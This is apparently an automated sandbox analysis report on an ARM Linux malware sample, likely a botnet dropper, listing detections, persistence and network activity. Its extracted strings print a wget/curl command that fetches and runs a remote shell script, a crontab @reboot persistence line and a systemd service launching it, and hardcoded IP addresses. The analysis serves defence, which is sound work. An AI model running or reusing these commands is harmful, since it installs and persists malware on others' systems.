Linux Analysis Report
armv5l.elf

Overview

General Information

Sample name: armv5l.elf
Analysis ID: 1558938
MD5: 027f2275ef988530da73aa2fd8fddf30
SHA1: 7029a2fc0422cbc11d3a4293b27032f5236c13a9
SHA256: 02ca22fed153f80fad5dfd9d63ed7e1c5afb3afa6a38cba9b7851ec06c8ffd9e
Tags: elfuser-abuse_ch
Infos:

Detection

Score: 68
Range: 0 - 100
Whitelisted: false

Signatures

Antivirus / Scanner detection for submitted sample
Multi AV Scanner detection for submitted file
Executes the "crontab" command typically for achieving persistence
Modifies the '.bashrc' or '.bash_profile' file typically for persisting actions
Sample tries to persist itself using cron
Creates hidden files and/or directories
Detected non-DNS traffic on DNS port
Executes commands using a shell command-line interpreter
Executes the "chmod" command used to modify permissions
Executes the "systemctl" command used for controlling the systemd system and service manager
Found strings indicative of a multi-platform dropper
Reads the 'hosts' file potentially containing internal network hosts
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Sample listens on a socket
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

AV Detection

barindex
Source: armv5l.elf Avira: detected
Source: armv5l.elf ReversingLabs: Detection: 34%
Source: armv5l.elf String: /cmdline/wget/tftp/curl/reboot/libbin//dev/watchdog/dev/misc/watchdogarmv5l->unknown%d/bin/busybox/bin/sh/var/Sofiatelnetd(|
Source: armv5l.elf String: /bin/bash -c "/bin/wget http://serverip/bins/bins.sh; chmod +x bins.sh; sh bins.sh; /bin/curl -k -L --output bins.sh http://serverip/bins/bins.sh; chmod +x bins.sh; sh bins.sh"
Source: armv5l.elf String: j2go/proc/net/tcp5.188.230.23137.18.73.94167.235.128.15168.191.23.13445.195.74.233141.94.21.7118.220.154.2118.210.151.8537.187.153.12745.195.74.1970123456789ABCDEF(crontab -l ; echo "@reboot %s") | crontab -/bin/bash -c "/bin/wget http://serverip/bins/bins.sh; chmod +x bins.sh; sh bins.sh; /bin/curl -k -L --output bins.sh http://serverip/bins/bins.sh; chmod +x bins.sh; sh bins.sh"%s/.bashrca
Source: .bashrc.13.dr String: /bin/bash -c "/bin/wget http://serverip/bins/bins.sh; chmod +x bins.sh; sh bins.sh; /bin/curl -k -L --output bins.sh http://serverip/bins/bins.sh; chmod +x bins.sh; sh bins.sh"
Source: bot.service.13.dr String: ExecStart=/bin/bash -c "/bin/wget http://serverip/bins/bins.sh; chmod +x bins.sh; sh bins.sh; /bin/curl -k -L --output bins.sh http://serverip/bins/bins.sh; chmod +x bins.sh; sh bins.sh"
Source: global traffic TCP traffic: 192.168.2.13:34792 -> 8.8.8.8:53
Source: global traffic TCP traffic: 192.168.2.13:34798 -> 8.8.8.8:53
Source: global traffic TCP traffic: 192.168.2.13:34796 -> 8.8.8.8:53
Source: global traffic TCP traffic: 192.168.2.13:34794 -> 8.8.8.8:53
Source: /bin/curl (PID: 5458) Reads hosts file: /etc/hosts Jump to behavior
Source: /tmp/armv5l.elf (PID: 5429) Socket: 127.0.0.1:4161 Jump to behavior
Source: global traffic TCP traffic: 192.168.2.13:48202 -> 185.125.190.26:443
Source: unknown TCP traffic detected without corresponding DNS query: 185.125.190.26
Source: unknown TCP traffic detected without corresponding DNS query: 185.125.190.26
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: global traffic DNS traffic detected: DNS query: ch.archive.ubuntu.com
Source: global traffic DNS traffic detected: DNS query: host.zopz-api.com
Source: tmp.bn3aJA.22.dr String found in binary or memory: http://serverip/bins/bins.sh
Source: bot.service.13.dr String found in binary or memory: http://serverip/bins/bins.sh;
Source: unknown Network traffic detected: HTTP traffic on port 48202 -> 443
Source: Initial sample String containing 'busybox' found: /bin/busybox
Source: Initial sample String containing 'busybox' found: /cmdline/wget/tftp/curl/reboot/libbin//dev/watchdog/dev/misc/watchdogarmv5l->unknown%d/bin/busybox/bin/sh/var/Sofiatelnetd(|
Source: ELF static info symbol of initial sample .symtab present: no
Source: classification engine Classification label: mal68.troj.linELF@0/4@26/0

Persistence and Installation Behavior

barindex
Source: /bin/sh (PID: 5455) Crontab executable: /usr/bin/crontab -> crontab -l Jump to behavior
Source: /bin/sh (PID: 5454) Crontab executable: /usr/bin/crontab -> crontab - Jump to behavior
Source: /tmp/armv5l.elf (PID: 5431) File written: /root/.bashrc Jump to behavior
Source: /usr/bin/crontab (PID: 5454) File: /var/spool/cron/crontabs/tmp.bn3aJA Jump to behavior
Source: /usr/bin/crontab (PID: 5454) File: /var/spool/cron/crontabs/root Jump to behavior
Source: /tmp/armv5l.elf (PID: 5431) File: /root/.bashrc Jump to behavior
Source: /bin/curl (PID: 5458) Directory: /root/.curlrc Jump to behavior
Source: /tmp/armv5l.elf (PID: 5447) Shell command executed: sh -c "(crontab -l ; echo \"@reboot /bin/bash -c \"/bin/wget http://serverip/bins/bins.sh; chmod +x bins.sh; sh bins.sh; /bin/curl -k -L --output bins.sh http://serverip/bins/bins.sh; chmod +x bins.sh; sh bins.sh\"\") | crontab -" Jump to behavior
Source: /tmp/armv5l.elf (PID: 5462) Shell command executed: sh -c "/bin/systemctl enable bot" Jump to behavior
Source: /bin/sh (PID: 5456) Chmod executable: /usr/bin/chmod -> chmod +x bins.sh Jump to behavior
Source: /bin/sh (PID: 5461) Chmod executable: /usr/bin/chmod -> chmod +x bins.sh Jump to behavior
Source: /bin/sh (PID: 5467) Systemctl executable: /bin/systemctl -> /bin/systemctl enable bot Jump to behavior
Source: /tmp/armv5l.elf (PID: 5429) Queries kernel information via 'uname': Jump to behavior
Source: /bin/curl (PID: 5458) Queries kernel information via 'uname': Jump to behavior
Source: armv5l.elf, 5429.1.0000557a50f72000.0000557a510c5000.rw-.sdmp, armv5l.elf, 5431.1.0000557a50f72000.0000557a510c5000.rw-.sdmp Binary or memory string: /etc/qemu-binfmt/arm
Source: armv5l.elf, 5429.1.00007fff5ab66000.00007fff5ab87000.rw-.sdmp, armv5l.elf, 5431.1.00007fff5ab66000.00007fff5ab87000.rw-.sdmp Binary or memory string: /usr/bin/qemu-arm
Source: armv5l.elf, 5429.1.00007fff5ab66000.00007fff5ab87000.rw-.sdmp, armv5l.elf, 5431.1.00007fff5ab66000.00007fff5ab87000.rw-.sdmp Binary or memory string: x86_64/usr/bin/qemu-arm/tmp/armv5l.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/armv5l.elf
Source: armv5l.elf, 5429.1.0000557a50f72000.0000557a510c5000.rw-.sdmp, armv5l.elf, 5431.1.0000557a50f72000.0000557a510c5000.rw-.sdmp Binary or memory string: PzU!/etc/qemu-binfmt/arm
Source: armv5l.elf, 5431.1.00007fff5ab66000.00007fff5ab87000.rw-.sdmp Binary or memory string: qemu: uncaught target signal 11 (Segmentation fault) - core dumped
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs